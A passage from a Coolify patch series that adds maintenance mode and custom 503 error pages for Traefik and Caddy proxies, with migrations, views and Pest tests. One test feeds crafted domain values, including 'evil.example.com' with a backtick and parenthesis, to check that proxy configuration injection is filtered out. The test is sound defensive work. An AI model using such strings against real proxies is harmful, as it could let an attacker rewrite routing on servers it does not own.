Maintenance blocks in the base Caddyfile must use the same + * address as the labels, so caddy-docker-proxy merges them into one site block. + */ +function caddySiteAddress(string $scheme, string $host, bool $isForceHttpsEnabled): string +{ + if ($scheme === 'https' && ! $isForceHttpsEnabled) { + return "http://{$host}, https://{$host}"; + } + + return "{$scheme}://{$host}"; +} + function fqdnLabelsForCaddy(string $network, string $uuid, Collection $domains, bool $is_force_https_enabled = false, $onlyPort = null, ?Collection $serviceLabels = null, ?bool $is_gzip_enabled = true, ?bool $is_stripprefix_enabled = true, ?string $service_name = null, ?string $image = null, string $redirect_direction = 'both', ?string $predefinedPort = null, bool $is_http_basic_auth_enabled = false, ?string $http_basic_auth_username = null, ?string $http_basic_auth_password = null, ?Collection $noindex_domains = null, bool $is_traffic_analytics_enabled = false, array $domainPortOverrides = [], bool $supports_log_append = false, bool $supports_basic_auth_directive = false, ?int $http_basic_auth_bcrypt_cost = null, array $http_basic_auth_argon2id_options = []) { $labels = collect([]); @@ -790,10 +803,7 @@ function fqdnLabelsForCaddy(string $network, string $uuid, Collection $domains, $path = $url->getPath(); $host_without_www = str($host)->replace('www.', ''); $schema = $url->getScheme(); - $siteAddress = "{$schema}://{$host}"; - if ($schema === 'https' && ! $is_force_https_enabled) { - $siteAddress = "http://{$host}, https://{$host}"; - } + $siteAddress = caddySiteAddress($schema, $host, $is_force_https_enabled); $portlessDomain = ServiceApplication::withoutPort($domain); $port = $url->getPort() ?? ($domainPortOverrides[$portlessDomain] ?? null); $handle = 'handle_path'; diff --git a/bootstrap/helpers/proxy.php b/bootstrap/helpers/proxy.php index a4b98ca5fc..613f925102 100644 --- a/bootstrap/helpers/proxy.php +++ b/bootstrap/helpers/proxy.php @@ -950,3 +950,16 @@ function getTraefikVersionFromDockerCompose(Server $server): ?string return null; } } + +/** + * Validation rule for an HTML page that Coolify sends to the proxy in one shell command + * (see Server::PROXY_ERROR_PAGE_MAX_BYTES). + */ +function proxyPageSizeRule(string $name): Closure +{ + return function (string $attribute, mixed $value, Closure $fail) use ($name): void { + if (strlen((string) $value) > Server::PROXY_ERROR_PAGE_MAX_BYTES) { + $fail("The {$name} must not be larger than ".(Server::PROXY_ERROR_PAGE_MAX_BYTES / 1024).' KB.'); + } + }; +} diff --git a/database/migrations/2026_10_01_132654_add_proxy_error_page_to_servers_table.php b/database/migrations/2026_10_01_132654_add_proxy_error_page_to_servers_table.php new file mode 100644 index 0000000000..ad1a318250 --- /dev/null +++ b/database/migrations/2026_10_01_132654_add_proxy_error_page_to_servers_table.php @@ -0,0 +1,25 @@ +text('proxy_error_page')->nullable(); + }); + } + + public function down(): void + { + Schema::table('servers', function (Blueprint $table) { + $table->dropColumn('proxy_error_page'); + }); + } +}; diff --git a/database/migrations/2026_10_01_161644_add_maintenance_mode_to_applications_and_services_tables.php b/database/migrations/2026_10_01_161644_add_maintenance_mode_to_applications_and_services_tables.php new file mode 100644 index 0000000000..cdafafc9e3 --- /dev/null +++ b/database/migrations/2026_10_01_161644_add_maintenance_mode_to_applications_and_services_tables.php @@ -0,0 +1,30 @@ +boolean('is_maintenance_enabled')->default(false); + $table->text('maintenance_page')->nullable(); + }); + } + } + + public function down(): void + { + foreach (['applications', 'services'] as $table) { + Schema::table($table, function (Blueprint $table) { + $table->dropColumn(['is_maintenance_enabled', 'maintenance_page']); + }); + } + } +}; diff --git a/resources/views/livewire/project/application/configuration.blade.php b/resources/views/livewire/project/application/configuration.blade.php index 11d6400bf6..168b102e0c 100644 --- a/resources/views/livewire/project/application/configuration.blade.php +++ b/resources/views/livewire/project/application/configuration.blade.php @@ -14,6 +14,7 @@ @elseif ($currentRoute === 'project.application.domains') + @elseif ($currentRoute === 'project.application.swarm' && $application->destination->server->isSwarm()) @elseif ($currentRoute === 'project.application.advanced') diff --git a/resources/views/livewire/project/service/configuration.blade.php b/resources/views/livewire/project/service/configuration.blade.php index 51dd41a9f7..3f66508f43 100644 --- a/resources/views/livewire/project/service/configuration.blade.php +++ b/resources/views/livewire/project/service/configuration.blade.php @@ -196,6 +196,7 @@ :lazy="(bool) ($service->server ?? $service->destination?->server)?->isTrafficAnalyticsEnabled()" /> @elseif ($currentRoute === 'project.service.domains') + @elseif ($currentRoute === 'project.service.environment-variables') diff --git a/resources/views/livewire/project/shared/maintenance.blade.php b/resources/views/livewire/project/shared/maintenance.blade.php new file mode 100644 index 0000000000..822d672f47 --- /dev/null +++ b/resources/views/livewire/project/shared/maintenance.blade.php @@ -0,0 +1,30 @@ + + + + @if ($this->isSupported) +
+
+ +
+ + @can('update', $resource) +
+ Reset to + default +
+ @endcan +
+ @else +

Maintenance mode needs a Traefik or Caddy proxy on a + server that is not part of a Docker Swarm.

+ @endif +
+ diff --git a/resources/views/livewire/server/proxy.blade.php b/resources/views/livewire/server/proxy.blade.php index 037466932a..0be3fbd86e 100644 --- a/resources/views/livewire/server/proxy.blade.php +++ b/resources/views/livewire/server/proxy.blade.php @@ -69,7 +69,7 @@ ['value' => true, 'label' => 'Labels for the active proxy only'], ]" /> + helper="Leave empty to return a 503 response instead of redirecting." /> @endif + @if ($redirectEnabled && ! $server->isSwarm()) +
+ + @can('update', $server) +
+ Reset to + default +
+ @endcan +
+ @endif
@php diff --git a/resources/views/proxy/error-page.blade.php b/resources/views/proxy/error-page.blade.php new file mode 100644 index 0000000000..4a8d2e7cc1 --- /dev/null +++ b/resources/views/proxy/error-page.blade.php @@ -0,0 +1,18 @@ +@extends('proxy.layout') + +@section('title', 'Site not available') + +@section('content') +

503 Service Unavailable

+

This site is not available at the moment

+

This site cannot answer your request right now. Please try again later.

+
+

Are you the site owner?

+
    +
  • The domain is not configured on a resource in Coolify, or its DNS points to another server.
  • +
  • The application is stopped, still deploying, or has crashed.
  • +
  • The application health check is failing.
  • +
+ Read the troubleshooting guide +
+@endsection diff --git a/resources/views/proxy/layout.blade.php b/resources/views/proxy/layout.blade.php new file mode 100644 index 0000000000..077b3ce2f6 --- /dev/null +++ b/resources/views/proxy/layout.blade.php @@ -0,0 +1,116 @@ + + + + + + + @yield('title') + + + +
+ @yield('content') +
+ + + diff --git a/resources/views/proxy/maintenance-page.blade.php b/resources/views/proxy/maintenance-page.blade.php new file mode 100644 index 0000000000..236e6c8706 --- /dev/null +++ b/resources/views/proxy/maintenance-page.blade.php @@ -0,0 +1,9 @@ +@extends('proxy.layout') + +@section('title', 'Under maintenance') + +@section('content') +

503 Service Unavailable

+

We are doing some maintenance

+

This site is temporarily unavailable for maintenance. Please check back soon.

+@endsection diff --git a/tests/Feature/Proxy/MaintenanceModeTest.php b/tests/Feature/Proxy/MaintenanceModeTest.php new file mode 100644 index 0000000000..44d8ba6d6e --- /dev/null +++ b/tests/Feature/Proxy/MaintenanceModeTest.php @@ -0,0 +1,289 @@ + Server::flushIdentityMap()); + +beforeEach(function () { + Server::flushIdentityMap(); + Event::fake([ProxyStatusChanged::class, ProxyStatusChangedUI::class]); + InstanceSettings::forceCreate(['id' => 0]); + config(['constants.ssh.mux_enabled' => false]); + fakeProxyFileUploads(); + + $this->team = Team::factory()->create(); + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + 'user' => 'cooluser', + 'private_key_id' => PrivateKey::factory()->create(['team_id' => $this->team->id])->id, + ]); + $this->server->settings->update(['is_reachable' => true, 'is_usable' => true, 'force_disabled' => false]); + $this->server->proxy->type = ProxyTypes::TRAEFIK->value; + $this->server->save(); + + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first() + ?? StandaloneDocker::factory()->create(['server_id' => $this->server->id]); + $project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $project->id]); +}); + +function maintenanceApplication(array $attributes = []): Application +{ + $test = test(); + + return Application::factory()->create(array_merge([ + 'environment_id' => $test->environment->id, + 'destination_id' => $test->destination->id, + 'destination_type' => $test->destination->getMorphClass(), + 'fqdn' => 'https://app.example.com', + ], $attributes)); +} + +function maintenanceService(array $domains): Service +{ + $test = test(); + $service = Service::factory()->create([ + 'environment_id' => $test->environment->id, + 'server_id' => $test->server->id, + 'destination_id' => $test->destination->id, + 'destination_type' => $test->destination->getMorphClass(), + ]); + foreach ($domains as $name => $fqdn) { + ServiceApplication::create(['name' => $name, 'service_id' => $service->id, 'image' => 'nginx', 'fqdn' => $fqdn]); + } + + return $service; +} + +function maintenanceServer(): Server +{ + return Server::find(test()->server->id); +} + +/** + * @return array + */ +function maintenanceScriptLines(): array +{ + $lines = []; + Process::assertRan(function ($process) use (&$lines) { + array_push($lines, ...explode("\n", $process->command)); + + return true; + }); + + return $lines; +} + +it('routes the maintenance domains through Traefik with a priority just above the resource router', function () { + $application = maintenanceApplication(['fqdn' => 'https://app.example.com,http://app.example.com/api', 'is_maintenance_enabled' => true]); + + $config = Yaml::parse(maintenanceServer()->maintenanceTraefikConfiguration(collect([$application]))); + $routers = $config['http']['routers']; + $rootRule = 'Host(`app.example.com`) && PathPrefix(`/`)'; + $apiRule = 'Host(`app.example.com`) && PathPrefix(`/api`)'; + + expect($routers["coolify-maintenance-{$application->uuid}-0-http"])->toMatchArray([ + 'entryPoints' => ['http'], + 'rule' => $rootRule, + 'service' => 'coolify-maintenance-noop', + 'middlewares' => ['coolify-maintenance-headers', "coolify-maintenance-{$application->uuid}"], + 'priority' => strlen($rootRule) + 1, + ]) + ->and($routers["coolify-maintenance-{$application->uuid}-0-https"]['tls'])->toBe(['certResolver' => 'letsencrypt']) + // http:// domains get no TLS router. + ->and($routers)->not->toHaveKey("coolify-maintenance-{$application->uuid}-1-https") + ->and($routers["coolify-maintenance-{$application->uuid}-1-http"]['priority'])->toBe(strlen($apiRule) + 1) + // A resource router on a longer path of the same host keeps a higher priority. + ->and(strlen($apiRule))->toBeGreaterThan($routers["coolify-maintenance-{$application->uuid}-0-http"]['priority']) + ->and($config['http']['middlewares']["coolify-maintenance-{$application->uuid}"]['errors'])->toBe([ + 'status' => ['503'], + 'service' => 'coolify-maintenance-pages', + 'query' => "/maintenance-{$application->uuid}.html", + ]) + ->and($config['http']['middlewares']['coolify-maintenance-headers']['headers']['customResponseHeaders'])->toBe(['Retry-After' => '300']) + ->and($config['http']['services']['coolify-maintenance-noop']['loadBalancer']['servers'])->toBe([]) + ->and($config['http']['services']['coolify-maintenance-pages']['loadBalancer']['servers'])->toBe([['url' => 'http://coolify-proxy-error-pages:80']]); +}); + +it('writes Caddy maintenance blocks with the same site address as the resource labels', function (bool $forceHttps, string $domain) { + $application = maintenanceApplication(['fqdn' => $domain, 'is_maintenance_enabled' => true]); + $application->settings->update(['is_force_https_enabled' => $forceHttps]); + $application->refresh(); + $labelAddress = str(fqdnLabelsForCaddy('coolify', $application->uuid, collect([$domain]), $forceHttps)->first(fn ($label) => str_starts_with($label, 'caddy_0=')))->after('caddy_0=')->value(); + $matcher = "@coolify-maintenance-{$application->uuid}-0"; + $path = parse_url($domain, PHP_URL_PATH) ?: '/'; + + $caddyfile = maintenanceServer()->caddyBaseCaddyfile(collect([$application])); + + expect($caddyfile) + ->toStartWith("import /dynamic/*.caddy\n") + ->toContain("\n\n{$labelAddress} {\n\t{$matcher} path {$path}*\n\thandle {$matcher} {") + ->toContain("rewrite /maintenance-{$application->uuid}.html") + ->toContain('copy_response 503'); +})->with([ + 'https' => [false, 'https://app.example.com'], + 'forced https' => [true, 'https://app.example.com'], + 'http with path' => [false, 'http://app.example.com/api'], +]); + +it('keeps the base Caddyfile to the import line without maintenance resources', function () { + expect(maintenanceServer()->caddyBaseCaddyfile(collect()))->toBe("import /dynamic/*.caddy\n"); +}); + +it('skips domains that could inject proxy configuration', function () { + $application = maintenanceApplication(['fqdn' => 'https://ok.example.com,https://bad.example.com/a b,https://bad.example.com/{x},https://evil.example.com`)', 'is_maintenance_enabled' => true]); + + expect($application->maintenanceRoutes()->pluck('host')->all())->toBe(['ok.example.com']); +}); + +it('collects the domains of Docker Compose applications and services', function () { + $compose = maintenanceApplication([ + 'build_pack' => 'dockercompose', + 'fqdn' => null, + 'docker_compose_domains' => json_encode(['web' => ['domain' => 'https://web.example.com,https://www.example.com'], 'api' => ['domain' => 'https://web.example.com/api'], 'db' => ['domain' => '']]), + ]); + $service = maintenanceService(['ghost' => 'https://blog.example.com', 'admin' => 'https://admin.example.com/ghost']); + + expect($compose->maintenanceRoutes()->map(fn ($route) => $route['host'].$route['path'])->all())->toBe(['web.example.com/', 'www.example.com/', 'web.example.com/api']) + ->and($service->maintenanceRoutes()->map(fn ($route) => $route['host'].$route['path'])->all())->toBe(['blog.example.com/', 'admin.example.com/ghost']); +}); + +it('writes the pages and the Traefik routes through sudo, and removes them when maintenance ends', function () { + $application = maintenanceApplication(['is_maintenance_enabled' => true]); + $service = maintenanceService(['ghost' => 'https://blog.example.com']); + $service->forceFill(['is_maintenance_enabled' => true])->save(); + $pages = '/data/coolify/proxy/error-pages'; + + maintenanceServer()->setupMaintenancePages(); + $lines = maintenanceScriptLines(); + + expect($lines)->toContain("sudo find $pages -maxdepth 1 -name 'maintenance-*.html' ! -name 'maintenance-{$application->uuid}.html' ! -name 'maintenance-{$service->uuid}.html' -delete") + ->and(collect($lines)->contains(fn ($line) => str_starts_with($line, 'sudo docker start coolify-proxy-error-pages')))->toBeTrue() + ->and(writtenProxyFile($lines, "$pages/maintenance-{$application->uuid}.html"))->toContain('We are doing some maintenance') + ->and(writtenProxyFile($lines, "$pages/maintenance-{$service->uuid}.html"))->toContain('We are doing some maintenance') + ->and(writtenProxyFile($lines, '/data/coolify/proxy//dynamic/coolify-maintenance.yaml')) + ->toContain('app.example.com')->toContain('blog.example.com'); + + $application->forceFill(['is_maintenance_enabled' => false])->save(); + $service->forceFill(['is_maintenance_enabled' => false])->save(); + maintenanceServer()->setupMaintenancePages(); + + expect(maintenanceScriptLines())->toContain('sudo rm -f /data/coolify/proxy//dynamic/coolify-maintenance.yaml') + ->toContain("sudo find $pages -maxdepth 1 -name 'maintenance-*.html' -delete"); +}); + +it('writes the maintenance blocks into the base Caddyfile on Caddy servers', function () { + $this->server->proxy->type = ProxyTypes::CADDY->value; + $this->server->save(); + $application = maintenanceApplication(['is_maintenance_enabled' => true]); + + maintenanceServer()->setupMaintenancePages(); + + expect(writtenProxyFile(maintenanceScriptLines(), '/data/coolify/proxy/caddy/dynamic/Caddyfile')) + ->toContain("@coolify-maintenance-{$application->uuid}-0 path /*"); +}); + +it('keeps the page container for maintenance when a redirect URL replaces the catch-all page', function () { + maintenanceApplication(['is_maintenance_enabled' => true]); + $server = maintenanceServer(); + $server->proxy->redirect_url = 'https://example.com'; + $server->save(); + + $server->setupProxyErrorPageContainer(); + + expect(collect(maintenanceScriptLines())->contains(fn ($line) => str_contains($line, 'docker run -d --name coolify-proxy-error-pages')))->toBeTrue(); +}); + +it('does not touch Swarm servers', function () { + maintenanceApplication(['is_maintenance_enabled' => true]); + $this->server->settings->update(['is_swarm_manager' => true]); + + $server = maintenanceServer(); + $server->setupMaintenancePages(); + + expect($server->maintenanceResources())->toBeEmpty(); + Process::assertNothingRan(); +}); + +function maintenanceUser(Team $team, string $role): User +{ + $user = User::factory()->create(); + $user->teams()->attach($team, ['role' => $role]); + + return $user; +} + +it('lets an admin enable maintenance and save a custom page', function () { + $application = maintenanceApplication(); + $this->actingAs(maintenanceUser($this->team, 'admin')); + session(['currentTeam' => $this->team]); + + Livewire::test(Maintenance::class, ['resource' => $application]) + ->set('maintenancePage', '

Back soon

') + ->call('submit') + ->assertDispatched('success') + ->set('isMaintenanceEnabled', true) + ->call('instantSaveMaintenance') + ->assertDispatched('success'); + + $application->refresh(); + expect($application->is_maintenance_enabled)->toBeTrue() + ->and($application->maintenance_page)->toBe('

Back soon

') + ->and(writtenProxyFile(maintenanceScriptLines(), "/data/coolify/proxy/error-pages/maintenance-{$application->uuid}.html"))->toBe('

Back soon

'); +}); + +it('rejects a maintenance page larger than the limit', function () { + $application = maintenanceApplication(); + $this->actingAs(maintenanceUser($this->team, 'owner')); + session(['currentTeam' => $this->team]); + + Livewire::test(Maintenance::class, ['resource' => $application]) + ->set('maintenancePage', str_repeat('a', Server::PROXY_ERROR_PAGE_MAX_BYTES + 1)) + ->call('submit') + ->assertDispatched('error'); + + expect($application->fresh()->maintenance_page)->toBeNull(); +}); + +it('does not let a member or another team change maintenance mode', function (string $who) { + $service = maintenanceService(['ghost' => 'https://blog.example.com']); + $team = $who === 'member' ? $this->team : Team::factory()->create(); + $this->actingAs(maintenanceUser($team, $who === 'member' ? 'member' : 'owner')); + session(['currentTeam' => $team]); + + Livewire::test(Maintenance::class, ['resource' => $service]) + ->set('isMaintenanceEnabled', true) + ->call('instantSaveMaintenance') + ->assertDispatched('error') + ->set('maintenancePage', '

Hacked

') + ->call('submit') + ->assertDispatched('error'); + + $service->refresh(); + expect($service->is_maintenance_enabled)->toBeFalse() + ->and($service->maintenance_page)->toBeNull(); + Process::assertNothingRan(); +})->with(['member', 'other team']); diff --git a/tests/Feature/Proxy/NonRootProxyCommandsTest.php b/tests/Feature/Proxy/NonRootProxyCommandsTest.php index f1cda7eb28..ea0c0d19e8 100644 --- a/tests/Feature/Proxy/NonRootProxyCommandsTest.php +++ b/tests/Feature/Proxy/NonRootProxyCommandsTest.php @@ -93,8 +93,10 @@ it('writes the Caddyfile through sudo', function () { StartProxy::run($this->server, async: false, force: true); + $base64 = base64_encode("import /dynamic/*.caddy\n"); + expect(nonRootProxyScriptLines()) - ->toContain("echo 'import /dynamic/*.caddy' | sudo tee /data/coolify/proxy/caddy/dynamic/Caddyfile > /dev/null"); + ->toContain("echo '{$base64}' | sudo base64 -d | sudo tee /data/coolify/proxy/caddy/dynamic/Caddyfile > /dev/null"); }); it('deploys the swarm proxy stack with an absolute compose file path', function () { diff --git a/tests/Feature/Proxy/ProxyErrorPageTest.php b/tests/Feature/Proxy/ProxyErrorPageTest.php new file mode 100644 index 0000000000..4d1f939459 --- /dev/null +++ b/tests/Feature/Proxy/ProxyErrorPageTest.php @@ -0,0 +1,286 @@ + Server::flushIdentityMap()); + +beforeEach(function () { + Server::flushIdentityMap(); + Event::fake([ProxyStatusChanged::class, ProxyStatusChangedUI::class]); + InstanceSettings::forceCreate(['id' => 0]); + config(['constants.ssh.mux_enabled' => false]); + fakeProxyFileUploads(); + + $this->team = Team::factory()->create(); + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + 'user' => 'cooluser', + 'private_key_id' => PrivateKey::factory()->create(['team_id' => $this->team->id])->id, + ]); + $this->server->settings->update(['is_reachable' => true, 'is_usable' => true, 'force_disabled' => false]); +}); + +function useErrorPageProxy(Server $server, string $proxyType, array $proxy = []): Server +{ + $server->proxy->type = $proxyType; + foreach ($proxy as $key => $value) { + $server->proxy->{$key} = $value; + } + $server->save(); + + return $server->refresh(); +} + +/** + * @return array + */ +function errorPageScriptLines(): array +{ + $lines = []; + Process::assertRan(function ($process) use (&$lines) { + array_push($lines, ...explode("\n", $process->command)); + + return true; + }); + + return $lines; +} + +it('routes the Traefik catch-all through the errors middleware and keeps the 503', function () { + $server = useErrorPageProxy($this->server, ProxyTypes::TRAEFIK->value); + + $config = Yaml::parse($server->defaultRedirectConfiguration()); + + expect($config['http']['routers']['catchall']['service'])->toBe('noop') + ->and($config['http']['routers']['catchall']['middlewares'])->toBe(['error-pages']) + ->and($config['http']['services']['noop']['loadBalancer']['servers'])->toBe([]) + ->and($config['http']['middlewares']['error-pages']['errors'])->toBe([ + 'status' => ['503'], + 'service' => 'error-pages', + 'query' => '/503.html', + ]) + ->and($config['http']['services']['error-pages']['loadBalancer']['servers']) + ->toBe([['url' => 'http://coolify-proxy-error-pages:80']]); +}); + +it('catches plain HTTP with a router without TLS', function (array $proxy, array $middlewares) { + $server = useErrorPageProxy($this->server, ProxyTypes::TRAEFIK->value, $proxy); + + $routers = Yaml::parse($server->defaultRedirectConfiguration())['http']['routers']; + + // A router with `tls` matches only HTTPS, so plain HTTP needs the catchall-http router. + expect($routers['catchall']['entryPoints'])->toBe(['https']) + ->and($routers['catchall']['tls'])->toBe(['certResolver' => 'letsencrypt']) + ->and($routers['catchall-http'])->toBe([ + 'entryPoints' => ['http'], + 'service' => 'noop', + 'rule' => 'PathPrefix(`/`)', + 'priority' => -1000, + 'middlewares' => $middlewares, + ]); +})->with([ + 'error page' => [[], ['error-pages']], + 'redirect URL' => [['redirect_url' => 'https://example.com'], ['redirect-regexp']], +]); + +it('serves the error page through Caddy with a 503 status', function () { + $server = useErrorPageProxy($this->server, ProxyTypes::CADDY->value); + + expect($server->defaultRedirectConfiguration()) + ->toContain('reverse_proxy coolify-proxy-error-pages:80 {') + ->toContain('rewrite /503.html') + ->toContain('copy_response 503') + ->not->toContain('respond 503'); +}); + +it('keeps the redirect URL ahead of the error page', function (string $proxyType) { + $server = useErrorPageProxy($this->server, $proxyType, ['redirect_url' => 'https://example.com']); + $server->proxy_error_page = '

custom

'; + $server->save(); + + $configuration = $server->defaultRedirectConfiguration(); + $server->setupDefaultRedirect(); + $lines = errorPageScriptLines(); + + expect($configuration)->toContain('https://example.com')->not->toContain('error-pages') + ->and($lines)->toContain('sudo docker rm -f coolify-proxy-error-pages >/dev/null 2>&1 || sudo true') + ->and(implode("\n", $lines))->not->toContain('docker run'); +})->with([ProxyTypes::TRAEFIK->value, ProxyTypes::CADDY->value]); + +it('removes the catch-all and the page container when the default redirect is disabled', function () { + $server = useErrorPageProxy($this->server, ProxyTypes::TRAEFIK->value, ['redirect_enabled' => false]); + + $server->setupDefaultRedirect(); + $lines = errorPageScriptLines(); + + expect($lines) + ->toContain('sudo rm -f /data/coolify/proxy//dynamic/default_redirect_503.yaml') + ->toContain('sudo docker rm -f coolify-proxy-error-pages >/dev/null 2>&1 || sudo true') + ->and(writtenProxyFile($lines, '/data/coolify/proxy//dynamic/default_redirect_503.yaml'))->toBeNull(); +}); + +it('starts the page container through sudo before it writes the catch-all', function (string $proxyType, string $catchAll) { + $server = useErrorPageProxy($this->server, $proxyType); + + $server->setupDefaultRedirect(); + $lines = errorPageScriptLines(); + + $runLine = collect($lines)->search(fn (string $line) => str_contains($line, 'docker run -d --name coolify-proxy-error-pages')); + $catchAllLine = collect($lines)->search(fn (string $line) => str_contains($line, "tee $catchAll")); + + expect($runLine)->toBeInt() + ->and($catchAllLine)->toBeInt() + ->and($runLine)->toBeLessThan($catchAllLine) + ->and($lines[$runLine])->toBe('sudo docker start coolify-proxy-error-pages >/dev/null 2>&1 || sudo docker run -d --name coolify-proxy-error-pages --network coolify --restart unless-stopped --label coolify.managed=true -v /data/coolify/proxy/error-pages:/www:ro busybox:musl httpd -f -p 80 -h /www') + ->and($lines)->toContain('sudo mkdir -p /data/coolify/proxy/error-pages && sudo find /data/coolify/proxy/error-pages -user root -exec chown -h cooluser:cooluser {} + && sudo chmod o-rwx /data/coolify/proxy/error-pages') + // The page goes through scp, then sudo moves it into place. + ->and(collect($lines)->contains(fn (string $line) => preg_match('#^sudo mv -f /tmp/coolify-upload-[0-9a-f]+ /data/coolify/proxy/error-pages/503.html$#', $line) === 1))->toBeTrue() + ->and($lines)->toContain('sudo chmod 644 /data/coolify/proxy/error-pages/503.html') + ->and(writtenProxyFile($lines, '/data/coolify/proxy/error-pages/503.html'))->toContain('This site is not available at the moment') + ->and(writtenProxyFile($lines, $catchAll))->toContain('coolify-proxy-error-pages'); +})->with([ + 'traefik' => [ProxyTypes::TRAEFIK->value, '/data/coolify/proxy//dynamic/default_redirect_503.yaml'], + 'caddy' => [ProxyTypes::CADDY->value, '/data/coolify/proxy/caddy/dynamic/default_redirect_503.caddy'], +]); + +it('pushes the custom page and falls back to the default page after a reset', function () { + $server = useErrorPageProxy($this->server, ProxyTypes::TRAEFIK->value); + $server->proxy_error_page = '

Maintenance

'; + $server->save(); + + $server->setupDefaultRedirect(); + expect(writtenProxyFile(errorPageScriptLines(), '/data/coolify/proxy/error-pages/503.html'))->toBe('

Maintenance

'); + + $server->proxy_error_page = null; + $server->save(); + $server->setupDefaultRedirect(); + + expect(writtenProxyFile(errorPageScriptLines(), '/data/coolify/proxy/error-pages/503.html')) + ->toContain('This site is not available at the moment') + ->toContain('https://coolify.io/docs/troubleshoot/applications/no-available-server') + ->not->toContain($server->name) + ->not->toContain($server->ip) + ->not->toContain($this->team->name); +}); + +it('keeps Swarm servers on the plain catch-all without a page container', function (string $swarmSetting) { + $server = useErrorPageProxy($this->server, ProxyTypes::TRAEFIK->value); + $server->settings->update([$swarmSetting => true]); + $server->refresh(); + + $config = Yaml::parse($server->defaultRedirectConfiguration()); + $server->setupDefaultRedirect(); + + expect($config['http']['routers'])->toBe(['catchall' => [ + 'entryPoints' => ['http', 'https'], + 'service' => 'noop', + 'rule' => 'PathPrefix(`/`)', + 'tls' => ['certResolver' => 'letsencrypt'], + 'priority' => -1000, + ]]) + ->and($config['http'])->not->toHaveKey('middlewares') + ->and(array_keys($config['http']['services']))->toBe(['noop']) + ->and(implode("\n", errorPageScriptLines()))->not->toContain('coolify-proxy-error-pages'); +})->with(['is_swarm_manager', 'is_swarm_worker']); + +it('removes the page container when the proxy stops', function () { + $server = useErrorPageProxy($this->server, ProxyTypes::TRAEFIK->value); + + StopProxy::run($server); + + expect(errorPageScriptLines())->toContain('sudo docker rm -f coolify-proxy-error-pages 2>/dev/null || sudo true'); +}); + +function errorPageUser(Team $team, string $role): User +{ + $user = User::factory()->create(); + $user->teams()->attach($team, ['role' => $role]); + + return $user; +} + +it('lets an admin save and reset the custom error page', function () { + $server = useErrorPageProxy($this->server, ProxyTypes::TRAEFIK->value); + $this->actingAs(errorPageUser($this->team, 'admin')); + session(['currentTeam' => $this->team]); + + // The page loads the proxy configuration before the global save bar submits it. + $component = Livewire::test('server.proxy', ['server' => $server]) + ->set('proxySettings', "services:\n traefik:\n image: traefik:v3.6\n ports:\n - '80:80'\n") + ->set('customErrorPage', '

Maintenance

') + ->call('submit') + ->assertDispatched('success'); + + expect($server->fresh()->proxy_error_page)->toBe('

Maintenance

') + ->and(writtenProxyFile(errorPageScriptLines(), '/data/coolify/proxy/error-pages/503.html'))->toBe('

Maintenance

'); + + $component->call('resetCustomErrorPage') + ->assertDispatched('success') + ->assertSet('customErrorPage', null); + + expect($server->fresh()->proxy_error_page)->toBeNull(); +}); + +it('uploads a custom page larger than one shell argument', function () { + $server = useErrorPageProxy($this->server, ProxyTypes::TRAEFIK->value); + $page = '

Big

'.str_repeat('a', 300 * 1024); + $server->proxy_error_page = $page; + $server->save(); + + $server->setupDefaultRedirect(); + $lines = errorPageScriptLines(); + + // Linux limits one shell argument to 128 KiB, so the page must not be inside a command. + expect(writtenProxyFile($lines, '/data/coolify/proxy/error-pages/503.html'))->toBe($page) + ->and(collect($lines)->max(fn (string $line) => strlen($line)))->toBeLessThan(128 * 1024); +}); + +it('rejects a custom error page larger than the limit', function () { + $server = useErrorPageProxy($this->server, ProxyTypes::TRAEFIK->value); + $this->actingAs(errorPageUser($this->team, 'owner')); + session(['currentTeam' => $this->team]); + + Livewire::test('server.proxy', ['server' => $server]) + ->set('customErrorPage', str_repeat('a', Server::PROXY_ERROR_PAGE_MAX_BYTES + 1)) + ->call('submit') + ->assertDispatched('error'); + + expect($server->fresh()->proxy_error_page)->toBeNull(); + Process::assertNothingRan(); +}); + +it('does not let a member or another team change the custom error page', function (string $who) { + $server = useErrorPageProxy($this->server, ProxyTypes::TRAEFIK->value); + $server->proxy_error_page = '

Original

'; + $server->save(); + + $team = $who === 'member' ? $this->team : Team::factory()->create(); + $this->actingAs(errorPageUser($team, $who === 'member' ? 'member' : 'owner')); + session(['currentTeam' => $team]); + + Livewire::test('server.proxy', ['server' => $server]) + ->set('customErrorPage', '

Hacked

') + ->call('submit') + ->assertDispatched('error') + ->call('resetCustomErrorPage') + ->assertDispatched('error'); + + expect($server->fresh()->proxy_error_page)->toBe('

Original

'); + Process::assertNothingRan(); +})->with(['member', 'other team']); diff --git a/tests/Pest.php b/tests/Pest.php index 07cfd25a16..20645621ce 100644 --- a/tests/Pest.php +++ b/tests/Pest.php @@ -1,6 +1,8 @@ command, $matches)) { + $GLOBALS['proxyFileUploads'][$matches[2]] = file_get_contents($matches[1]); + } + + return Process::result(); + }); +} + +/** + * The last content written to $file on the server, with Server::uploadProxyFile() or with + * `echo '' | base64 -d | tee $file`. + * + * @param array $lines remote script lines (see Process::assertRan) + */ +function writtenProxyFile(array $lines, string $file): ?string +{ + $content = null; + foreach ($lines as $line) { + if (preg_match('#mv -f (/tmp/coolify-upload-[0-9a-f]+) '.preg_quote($file, '#').'$#', $line, $matches)) { + $content = $GLOBALS['proxyFileUploads'][$matches[1]] ?? null; + } elseif (str_contains($line, "tee $file") && preg_match("/echo '([A-Za-z0-9+\/=]+)'/", $line, $matches)) { + $content = base64_decode($matches[1]); + } + } + + return $content; +} From 3bc90995daa52263236294448e8840c661d97650 Mon Sep 17 00:00:00 2001 From: Aditya Tripathi Date: Wed, 7 Oct 2026 17:18:16 +0530 Subject: [PATCH 21/24] fix(railpack): stop the idle BuildKit builder and update Railpack to 0.40.1 (#12097) Co-authored-by: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> --- .../CleanupCancelledDeployment.php | 6 +++ app/Actions/Server/CleanupDocker.php | 6 +-- app/Jobs/ApplicationDeploymentJob.php | 10 ++++- bootstrap/helpers/docker.php | 34 +++++++++++++++ config/constants.php | 4 +- docker/coolify-helper/Dockerfile | 8 ++-- other/nightly/versions.json | 2 +- ...ationDeploymentControlVarFilteringTest.php | 4 +- .../DeploymentCancellationCleanupTest.php | 13 ++++++ ...pplicationDeploymentRailpackConfigTest.php | 17 ++++++++ ...icationDeploymentRailpackEnvParityTest.php | 14 +++--- tests/Unit/ParseCommandsByLineForSudoTest.php | 14 ++++++ 